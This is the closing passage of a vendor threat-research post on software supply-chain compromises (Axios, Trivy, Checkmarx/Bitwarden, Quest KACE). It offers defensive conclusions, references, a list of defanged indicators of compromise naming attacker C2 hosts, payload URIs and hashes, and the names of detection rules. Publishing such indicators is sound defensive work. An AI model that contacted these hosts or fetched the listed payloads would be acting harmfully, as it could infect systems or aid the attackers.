The Axios and Trivy compromises are not anomalies; they are signals of a structural shift in the threat landscape. In this post-trust era, the compromise of a single maintainer, repository token, or CI/CD tag can produce large-scale blast radiuses with downstream victims numbering in the thousands. Attackers are no longer just exploiting vulnerabilities; they are exploiting infrastructure privileges, developer trust relationships, and automated build systems that the industry has generally under secured.

Supply‑chain compromise should now be treated as an assumed breach scenario, not a specialized threat class, particularly across build, integration, and management infrastructure. Organizations must operate under the assumption that compromise will occur within trusted software and automation layers, not solely at the network edge or user endpoint. Defenders should therefore expect compromise to emerge from trusted automation layers before it is labelled, validated, or widely understood.

The future of supply‑chain defense lies in continuous behavioral visibility, autonomous detection across developer and build environments, and real‑time anomaly identification.

As AI increasingly shapes software development and security operations, defenders must assume adversaries will also operate with AI in the loop. The defensive edge will come not from predicting specific compromises, but from continuously interrogating behavior across environments humans can no longer feasibly monitor at scale.

Credit to Nathaniel Jones (VP, Security & AI Strategy, FCISCO), Emma Foulger (Global Threat Research Operations Lead), Justin Torres (Senior Cyber Analyst), Tara Gould (Malware Research Lead)

Edited by Ryan Traill (Content Manager)

Appendices

References:

1)         https://www.infosecurity-magazine.com/news/hackers-hijack-axios-npm-package/

2)         https://thehackernews.com/2026/03/trivy-hack-spreads-infostealer-via.html

3)         https://thehackernews.com/2026/03/hackers-exploit-cve-2025-32975-cvss-100.html

4)         https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack

5)         https://socket.dev/blog/axios-npm-package-compromised?trk=public_post_comment-text

IoCs

- 142.11.206[.]73 – IP Address – Axios supply chain C2

- sfrclak[.]com – Hostname – Axios supply chain C2

- hxxp://sfrclak[.]com:8000/6202033 - URI – Axios supply chain payload

- 45.148.10[.]212 – IP Address – Trivy supply chain C2

- scan.aquasecurtiy[.]org – Hostname - Trivy supply chain C2

- 94.154.172[.]43 – IP Address - Checkmarx/Bitwarden supply chain C2

- audit.checkmarx[.]cx – Hostname - Checkmarx/Bitwarder supply chain C2

- 216.126.225[.]156 – IP Address – Quest KACE exploitation C2

- 216.126.225[.]156/32 - URI – Possible Quest KACE exploitation payload

- 216.126.225[.]156/ct.py - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/n - URI - Possible Quest KACE exploitation payload

- 216.126.225[.]156/x - URI - Possible Quest KACE exploitation payload

- e1ec76a0e1f48901566d53828c34b5dc – MD5 - Possible Quest KACE exploitation payload

- d3beab2e2252a13d5689e9911c2b2b2fc3a41086 – SHA1 - Possible Quest KACE exploitation payload

- ab6677fcbbb1ff4a22cc3e7355e1c36768ba30bbf5cce36f4ec7ae99f850e6c5 – SHA256 - Possible Quest KACE exploitation payload

- 83b7a106a5e810a1781e62b278909396 – MD5 - Possible Quest KACE exploitation payload

- deb4b5841eea43cb8c5777ee33ee09bf294a670d – SHA1 - Possible Quest KACE exploitation payload

- b1b2f1e36dcaa36bc587fda1ddc3cbb8e04c3df5f1e3f1341c9d2ec0b0b0ffaf – SHA256 - Possible Quest KACE exploitation payload

Darktrace Model Detections

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Server Activity / Outgoing from Server

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous File / EXE from Rare External Location

Anomalous File / Script from Rare External Location

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous Server Activity / Rare External from Server

Antigena / Network / External Threat / Antigena Suspicious File Block

Antigena / Network / External Threat / Antigena Suspicious File Pattern of Life Block

Device / New User Agent

Device / Internet Facing Device with High Priority Alert

Anomalous File / New User Agent Followed By Numeric File Download

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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